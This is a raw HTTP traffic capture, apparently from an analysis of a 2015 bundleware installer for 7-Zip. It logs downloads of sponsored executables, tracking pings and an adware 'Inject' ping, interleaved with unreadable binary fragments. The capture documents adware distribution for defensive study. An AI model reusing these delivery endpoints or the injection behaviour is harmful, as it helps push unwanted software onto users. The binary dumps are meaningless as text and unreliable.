.v.......A1...?.. ..(..w..Ra........O.o....%.BJ...wY........k.h..|.=..
Q...gL.u....&.}...}\@H....Z>fw....d?.|.]..h.!.V..*...(..P.R.._r[...
~....uP.G......."K.=c...I.4.._{Q.vGl..x9..X.H ...#.%.7/..>...JLoV.0
I..t..].~w...P.97.b....K..(....p.#z".5!..-%..Q..A4..i~.B......: ._.Pj.
!.......P..mdU^...[m...6.|........qcK....;...>M.E...CF..e;&Cy6..R.L
3....v.Z......ol..- O.K..e?.-..s..k.#(.X...G...q....-...1.h..`.s..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=145792-291584
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:58:15 GMT
Date: Sat, 14 Feb 2015 03:58:15 GMT
Content-Range: bytes 145792-291584/583168
Content-Length: 145793
Connection: keep-alive
..U...`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.
e62.d.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t.
..*...8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9..
......VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7
.o...V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ...
....\......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z.
..:...Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W...
.{.W...j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^
..7.. }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k....
..7-..0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... 
h.C..........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.
7.yZ.X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a...
.......".y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.
. ..i ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..&
lt;`..R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.
M.....W}[email protected]....
 zi=-...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P..
.W....ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.
J1.B.>...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9
f..0~.V.t...m'.=.F....cfA....vN....ae.L u7..q..#,H.............:....{j
...L.xb.......v....j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%....
.c...*.IK.b.jz.l.!)....U...&...........BxfJ$..U..SU...:.g>O./..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=71390-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 214168
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 71390-285557/285558
Age: 1
X-Cache: Hit from cloudfront
Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: aWE2F3PvG0ISKjQezCRnBsftrLpKUo-OxWuXikk5Un4V4U4hKU4pQA==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.x
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=971667-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 04:01:12 GMT
Content-Type: application/octet-stream
Content-Length: 138809
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 971667-1110475/1110476
]7X..}.u...{.......)..E.x.E.|w..5.rg4.9M@.].EqZk...b...97....p...j....
...w"m.f.. g.G..C..x.q.2S.Q.. .t ...../..4mc.x.\"I.d..Q.{x............
...1..H..o..l.V..OU.......D..X.n....8.L.s..!.f..............9,d..1Y.j.
l..W.........ql.....5....9Jt.4......t...s...!.....B..UX1.R..W..Ot.....
. z.|...L'..8. .p.....d{..V..x.. ....8..P...v.........5KE3...u.'...Oc.
..&....6!...j`.b.....|_i<.Y.^...............QoM.9..y~...M"E..c...,.
......e.s.R.5qQ......O..Z...#........n.w.^...........5.!.....S.i..a..t
.;...ruQu.&r.....Bd%7...S..M..5.F#.........Y.T...M.....$.Ri.j..}_7..U.
E r..`.2././.?.r..jJ.\Wn....K..{..#.....p.....e.2l.K.).G^.l..[.....c..
...j..;...d..2~..y1;Y.........o\. .a........^.l..K. ....o.........2..z
.:...!Q.e...f.1.$2.......R9.....fo.G.fiN0A7............. ?^4.nr..A....
...#F:..ch..l..s<-Db@#.J.3.z..`kI..Z....n.).(R#vo.x.V..Z.q....i...t
O4.{.vFB...mU..6.?...a}yy7.zn......c...).A.[[email protected])..c.*O.....7.
.`...$.:q.V..l..0f.......r.1.d.e..G......4..A.e..x.. L.l..At..j.r.i...
W."gZMh..6E4~...h...."..5v.7!......:.Z.....pKf..h....nSA.5.d.{..pE.`'.
f.O.}.....r.F7$.P.01o....`.....8...Ix..|x.n.......#.~.... 7sf..#..7?.]
x.3..%.}...."..r.b..6...,.....LV%..r..[uwz.J.y:h...2..*.W.G...~.......
....v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3......k...
...}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)..$$".9
[email protected]#..a....*[email protected]
Q,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L.^...P^
.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..71..
<<< skipped >>>


GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2q90bop9bptps.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 26401
Connection: keep-alive
Server: nginx
Date: Tue, 10 Feb 2015 14:52:24 GMT
Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT
ETag: "54da1999-6721"
Expires: Tue, 10 Feb 2015 15:02:24 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
X-Cache: RefreshHit from cloudfront
Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)
X-Amz-Cf-Id: -yMjYKIFFvsC0HZrhowugtmduEvo20j3LS8UBqZ-LVHAg1sjL8n3Kw==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>

GET /affiliates/filesfrog/eula.html HTTP/1.1


Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2q90bop9bptps.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 08 Feb 2015 04:58:20 GMT
Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT
Expires: Sun, 08 Feb 2015 05:08:20 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
Age: 284
X-Cache: Hit from cloudfront
Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)
X-Amz-Cf-Id: oSwojX7N6KiyxvcFuvbf7ImcHtqKrRLLigKFSZNuaLdO7BT6BCqfxw==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L............huEV.Y.`o..."`M.h.G.2 ....}27..X.....^..$........l-b.(.
......,..f><.....x.....M".....6.......^..O..A...:.........U~.v7.
<...]...A........l..e 2....H[E.J6. t`."Y..=ZY..}.vw"..u.-gIOI....d_
[email protected].`{n.H...4..z...z0...h.CZ....m..@}...J.
f........K 2...s.<.......rQ=.Y=epy...y ........uC. 7......`>2y.h
....m|SR..........5..r!Uc..V.&".'..........l<-.......Q.#......&g.Aa
..|F....Okb...9G.i.........gt...-.a...j..i........q..{[email protected]..:]=..g...
. s...............Y...V.W.;P,.x.......L1...<.Y...=..%>...N=v
<<< skipped >>>


GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1
Range: bytes=25009-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 175063
Connection: keep-alive
Date: Sun, 08 Feb 2015 06:04:13 GMT
x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537
Cache-Control: max-age=3600
Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT
ETag: "ef7d1863f4980ab0c8bda142fee67f92"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 25009-200071/200072
Age: 377
X-Cache: Hit from cloudfront
Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 5y8pttu8pKBGO5QBmzmBYqK21aLTFp49e01BEyx1zuqrSnp-EKodUA==
}...}...~...|..(~..:~..H~..Z~..n~...~...~...~...~...~..F|..0|..$|...|.
..|...{...{...{...{...|...|...|..r|..f|...~..V|...{...{..~{..p{..h{..X
{..F{..6{..${...{...{...z...z...z...{......j...T...B.......(..........
.........RichEdit....RichEdit20A.RichEd32....RichEd20.....DEFAULT\Cont
rol Panel\International....Control Panel\Desktop\ResourceLocale....[Re
name]....%d..Software\Microsoft\Windows\CurrentVersion...\Microsoft\In
ternet Explorer\Quick Launch..................F...............F.......
........F.t...........z..`p...u...........~..lq...t..........j...<p
...u..............Pq..Xt...............p...t..............(p...v......
....8...xr...v..............hr...................... ...4.............
..x...f...X...F...........................\...L...<...&............
~...~.......x...x...x...x...x...x...x...y...y..(y..>y..Fy..Vy..dy..
[email protected]..^z..pz...z...z
...z...z...z..fx..Zx..Nx..2x..$x...x...x...w...w...w...w...w...w..pw..
Tw..Hw..<w...v..*w...w...w...v...v...y......................t......
......|...|...|...|...}.. }..0}..B}..R}..`}..r}..~}...}...}...}...}...
}...}...}...~...|..(~..:~..H~..Z~..n~...~...~...~...~...~..F|..0|..$|.
..|...|...{...{...{...{...|...|...|..r|..f|...~..V|...{...{..~{..p{..h
{..X{..F{..6{..${...{...{...z...z...z...{......j...T...B.......(......
.............t.MulDiv....DeleteFileA...FindFirstFileA....FindNextFileA
...FindClose...SetFilePointer....ReadFile....WriteFile...GetPrivatePro
fileStringA....WritePrivateProfileStringA..u.MultiByteToWideChar..
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ8JV2jHZ9jAK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY&product=EXTFirefox&rnd=1423886439&it=1&action=Inject&text=JollyWallet HTTP/1.1
Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 04:00:39 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 20
15 04:00:39 GMT..Content-Length: 0..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277619-555238
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:58:22 GMT
Content-Type: application/octet-stream
Content-Length: 277620
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=2&index_in_screen=1&index_in_session=2&0.8695299825474372 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.833397082.1423886223.1423886223.1423886223.1; __utmb=1.1.10.1423886223; __utmc=1; __utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:57:31 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:57:31 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 04:01:08 GMT
Date: Sat, 14 Feb 2015 04:01:08 GMT
Content-Range: bytes 0-583167/583168
Content-Length: 583168
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected]..<.....W..?....;.tBj\V
. [email protected]...|p@[email protected]:.u.9].t.j.
.....Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j.
[email protected]][email protected]....
..E.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9]..
.....h. [email protected]. [email protected]
[email protected].~B....h.0G.V.qB..P.^
=..P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#
<<< skipped >>>


GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.omniroot.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: application/ocsp-response
Date: Sat, 14 Feb 2015 04:00:25 GMT
Last-Modified: Thu, 12 Feb 2015 19:47:05 GMT
Server: ECS (ams/D1C2)
X-Cache: HIT
Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015021
2094611Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20150204200915Z....20150505201415Z0...*.H...............N..!x
I,.RJ......2~oi..9x5$&..q..Uh.........*.8.c.6.J=[x..MK.wsQ...........r
.|.x>..Lr"B........h.. .b.........n.".......D...D..>..Z=......`.
...t.}T..?.`.r(....M,M..t..$.O...W.......B..A.9....F.rO..j......,.7.G.
xE.......=b..y.#....H....1Qg u..R..K....._.k.....0...0...0...........'
..0...*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTr
ust1"0 ..U....Baltimore CyberTrust Root0...150114195242Z..160114195229
Z0G1.0...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-
20110.."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...0
4..I......C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8........
..h8GM..*.4.MP..../[email protected]
.x....$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j
.\.>.O....G.A........0..0... .....0......0...U.......0.0...U.......
....0...U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`
;.l.uZ..k.F..^|A.Tb0...*.H.............n.h\Ch*G.c..yr..."._....J.-....
j.t%..e.....([email protected]!m...sZH.N..>.S....K..........7wi3..x.D..l..u
d.....CC......<.&.2. ..d...T.......;.S....\... ......m.6......#(.&.
...q.[z.........r..T....W...7ea.}..B.1........al.]i.F...-.0c...y.=?...
.E...........'>..O.._..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=71389-142779
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 71391
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 71389-142779/285558
Age: 225
X-Cache: Hit from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Mb-m98IVVB24vp45BAMJ0M5Cp7Yagf9hXslYSPFN6llf1VpZwodldA==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.
<<< skipped >>>


